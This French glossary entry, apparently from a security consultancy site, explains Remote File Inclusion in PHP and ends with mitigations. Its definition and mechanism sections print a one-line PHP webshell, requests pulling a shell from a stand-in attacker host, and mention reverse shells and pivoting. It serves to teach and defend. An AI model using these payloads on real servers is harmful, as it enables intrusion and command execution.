Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Remote File Inclusion (RFI)

hacking

Définition

La Remote File Inclusion (RFI) est une vulnérabilité web similaire à la LFI mais permettant d'inclure des fichiers hébergés sur des serveurs distants (sous le contrôle de l'attaquant), conduisant quasi-systématiquement à une Remote Code Execution (RCE). Elle survient quand les fonctions d'inclusion de fichiers acceptent des URLs distantes et que la configuration du serveur le permet. En PHP, la RFI est possible quand la directive allow_url_include = On est activée dans php.ini (désactivée par défaut depuis PHP 5.2). Avec cette option activée, include('http://attaquant.com/shell.php') télécharge et exécute le fichier PHP distant. Un attaquant peut donc injecter une URL vers un webshell hébergé sur son serveur : ?page=http://attaquant.com/shell.php conduit à l'exécution de shell.php sur le serveur cible. La RFI est plus grave que la LFI car elle mène directement à la RCE sans nécessiter de contournements supplémentaires comme le log poisoning. Un webshell basique PHP (<?php system($_GET['cmd']); ?>) suffit pour obtenir une exécution de commandes arbitraires. Des webshells plus sophistiqués comme c99, r57, ou b374k offrent des interfaces complètes de gestion de fichiers, d'exécution de commandes, et d'accès aux bases de données. Les wrappers PHP étendent également les possibilités de RFI : data://text/plain;base64,... permet d'inclure du code PHP fourni directement dans le paramètre (sans serveur distant requis), et phar:// peut être exploité pour des injections via des archives PHAR qui déclenchent la désérialisation. Bien que la configuration PHP par défaut désactive allow_url_include, des environnements legacy ou mal configurés restent vulnérables. D'autres langages web (Python, Node.js, Ruby) peuvent avoir des vulnérabilités d'inclusion distante similaires selon leurs APIs de chargement de fichiers.

Fonctionnement

Serveur vulnérable (allow_url_include = On) : code include($_GET['page']);. Attaque : héberger un webshell sur serveur attaquant (echo '<?php system($_GET["c"]);?>' > shell.php), puis appeler ?page=http://attaquant.com/shell.php&c=id. Le serveur cible télécharge shell.php depuis l'attaquant et l'exécute, retournant le résultat de id dans la page HTML. Accès complet en tant que www-data obtenu en une requête.

Exploitation offensive

Après une RFI → RCE initiale, la prochaine étape est le déploiement d'un webshell persistant ou un reverse shell complet vers un listener Netcat/Metasploit. La RFI révèle souvent une mauvaise configuration générale du serveur (PHP mal configuré) suggérant d'autres vulnérabilités exploitables. Le pivoting depuis le serveur web vers le réseau interne est possible une fois le shell obtenu.

Détection et mitigation

Désactiver allow_url_include dans php.ini est la mitigation principale pour PHP. Les WAF détectent les URLs complètes (http://, https://) dans les paramètres d'inclusion. La surveillance des connexions réseau sortantes depuis le processus web (accès à des domaines externes non autorisés) détecte les RFI exploitées. Le principe du moindre privilège pour le processus web limite les actions possibles après RFI.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis